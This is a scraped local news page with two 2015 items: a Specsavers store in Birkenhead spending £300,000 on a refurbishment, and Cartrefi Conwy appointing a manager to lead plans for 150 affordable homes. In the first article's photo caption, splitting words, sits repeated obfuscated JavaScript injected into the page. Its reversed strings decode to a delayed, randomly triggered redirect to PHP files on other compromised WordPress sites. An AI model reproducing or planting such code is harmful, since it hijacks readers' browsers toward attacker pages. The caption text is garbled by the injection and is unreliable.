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Specsavers show customer focus with £300,000 Birkenhead investment

Pyramids, Birkenhead, Specsavers s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore has invested £300,000 in a refurbishment which includes state-of-the art equipment. Pictured is technician Phil McEvoy with Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Ken Roberts at the newly instulated Lense Edger machine.

A BIRKENHEAD opticians has brought its customer service into sharp focus by investing £300,000 in a massive refurbishment including state-of-the-art equipment.

Specsavers in Birkenhead has remodelled at a cost of £200,000 which comes on top of the £100,000 spent recently on a state of the art robotic lens grinding machine.

According to Ken Roberts who has been its director for the past 23 years, the huge modernisation programme is already paying dividends as the shop has just experienced its busiest week ever.

The major changes have seen them become one of the most advanced Specsavers stores in the country.

Ken said: “We decided to undertake the refit because we needed to expand the premises to cope with increasing demand for our services and provide better access for disabled patients.

“Overall, we were keen to improve the customer experience even further, and I think we have now done that.”

Ken explained the six-week facelift operation, which was completed while the store remained trading, involved an extensive package of improvements.

“Our shop is on three floors and the refit effectively extended the sight-testing capacity on the ground floor by 100 per cent and the first floor by 20 per cent,” he said.

“One of the key features is that we now have one more test room on the ground floor to increase access for our disabled customers, which is very important to us.

“We have also added two more eye test rooms, taking us to a total of nine to help us handle the extra demand we are experiencing.

“Another improvement is that we now have a dedicated room for our two diabetic retinal screening cameras, each of which cost £20,000.

“We have long prided ourselves on the work we do in this vital area which involves the early detection of diabetic retinopathy.

“This is one of the most common causes of sight loss in people of working age and happens when diabetes affects the small blood vessels in the retina, the part of the eye that acts like a film in a camera.

“The pictures taken by one our specialist cameras will be sent to the Wirral NHS with which we have worked in partnership with for years. If a problem is suspected then arrangements can be made for the patient to go to hospital for further checks.”

Ken added: “The refit has also enabled us to have three more dedicated glasses dispensing booths, taking us to a total of 12 private dispensing desks.

“It’s worth noting that all our sight testing equipment is computer assisted, with no old-fashioned trail frames and lenses involved in the process.

“Apart from the work we do with diabetic screening, we also have retinal photography digital imaging available, free of charge to most patients, in every room.

“Basically, this means that when a person first comes in for a sight test we can use our equipment to take a picture of the back of their eyes and then compare it with pictures we take on their later visits to see of anything has changed in the meantime.

“We are gradually introducing a system where all the measurements for dispensing glasses are being done by tablets, which means that everything can be done with an incredible degree of accuracy.

“When it comes to ordering their new glasses, customers can choose from new and improved frame displays, which showcase the entire Specsavers range of frames plus a host of designer options.

“A further improvement to our shop has been a dedicated hearcare room with soundproof booth and digital hearing testing for improved accuracy of the audiograms.

“Customer comfort was firmly in mind when we designed in a new waiting room with seating for up to 30 people.”

On hand to deliver this increased range of services to customers are a team which includes seven fully qualified registered optometrists, five registered dispensing opticians, two contact lens opticians and four hearing aid audiologists plus full supporting staff.

The £300,000 investment in the building follows the £100,000 recently spent on a state of the art computerised robotic lens grinding machine.

Ken said: “This allows us to improve the quality and accuracy of the finished product. In fact, we call it the Terminator because, just like the film character, it’s relentless and never makes a mistake.

“There’s only a tiny handful of these machines in use in the UK by high street opticians.

“All the improvements add up to make us one of the most advanced Specsavers in the country, which we are all very proud of.

“And the benefits of the investment are already showing through because we recently had our busiest ever week – which I am delighted to say brought a letter of congratulation from our managing director.”

Friday May 1st, 2015

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Plan for 150 new affordable homes

Cartrefi Conwy Pictured at Cartrefi Conwy Headquarters is David Kelsall, Business Development Manager for Cartrefi Conwy.

A former property developer is spearheading a housing association’s ambitious plans to build more than 100 affordable homes and buy 50 more.

David Kelsall, 49, a qualified chartered surveyor, has been appointed by Cartrefi Conwy as their Development and New Business Manager with the aim of satisfying the growing demand for housing.

Cartrefi Conwy has already invested more than £40 million in its housing stock over the past six years.

According to Mr Kelsall, their planned expansion is great news for the local economy as well as the 2,000 plus people waiting on the housing register in Conwy.

He said contractors will be expected to employ local people and set up local supply chains.

Cartrefi Conwy came into being in 2008 when it took over all Conwy County Borough Council’s houses and flats in a stock transfer voted for by council tenants.

Their first priority was to bring all 3,800 of their properties up to the Welsh Housing Quality Standard.

Mr Kelsall said: “Cartrefi Conwy were one of a handful of registered social landlords to achieve the target set by the Welsh Government by the end of 2012.

“This was done with a major £30 million housing improvement programme which created more than 300 local jobs and a further 300 training opportunities, providing a big boost to the economy of Conwy in the process.

“In addition, Cartrefi Conwy also completed a £4 million transformation of the Parc Peulwys estate in Llysfaen where 250 homes were refurbished and a further £1.2 million has been ploughed into environmental improvements there.”

According to David Kelsall, the next chapter in Cartrefi Conwy’s history is building new homes.

The drive got off to a flyer last year when a small development of six family homes in the former slate quarrying village of Penmachno was named as the best new housing development in Wales.

This year plans have been unveiled for a £3.4 million development of 27 new homes in Llanfairfechan and work is nearing completion on developments in Llandudno providing 26 apartments for older and vulnerable people and 13 family homes.

Mr Kelsall, who was director of family run house builders Kelsall Homes added: “Working for a registered social landlord is a new experience for me but part of the reason I came here really was for the challenge of the new experience and also the size of the schemes.

“We are planning to build an extra 100 affordable homes over the next few years and purchase others from private developers, which is ambitious in today’s climate because funding is very much limited and difficult to obtain.

“But, we believe that using our land and other public sector land as well as working with private sector developers, we can deliver more for less.

“In the last two years we have invested £5 million in schemes in Penmachno, Colwyn Bay and Abergele using local construction companies and supply chain that has employed more than 200 people.

“We achieved more than £5 million of efficiency savings in our procurement process which meant planned schemes were brought forward with over 500 properties receiving the benefit of improvements many years earlier than planned.

“In addition, Cartrefi Conwy has purchased and added nine empty homes to our stock portfolio in the last two years and used local labour to completely refurbish, adapt and bring these homes up to meet Welsh Housing Quality Standard.

“In future we’re going to be working in a variety of ways to build the new homes.

“We’ll be working with developers on a design and build basis, sometimes on land that we own or land that we purchase but we’ll also be working with local,  regional or national developers to purchase affordable homes they’ve built to meet their planning obligations.

“Another option is a package deal brought to us by private partners in addition to sourcing the land ourselves and going out to tender to build the properties.

“These are exciting times for Cartrefi Conwy and for me personally.”

Cartrefi Conwy Chief Executive Andrew Bowden: “I am delighted we were able to appoint somebody of David’s calibre to take a lead in our drive to build more affordable homes.

“David has invaluable experience working in the private sector which will be particularly helpful as we look at new ways of working to achieve our goals as we enter a new and important chapter in the history of Cartrefi Conwy.”

Any developers who are interested in working with Cartrefi Conwy should contact David Kelsall by emailing him at to:david.kelsall@cartreficonwy.org">david.kelsall@cartreficonwy.org or ringing 0300 124 0040.

Friday May 1st, 2015

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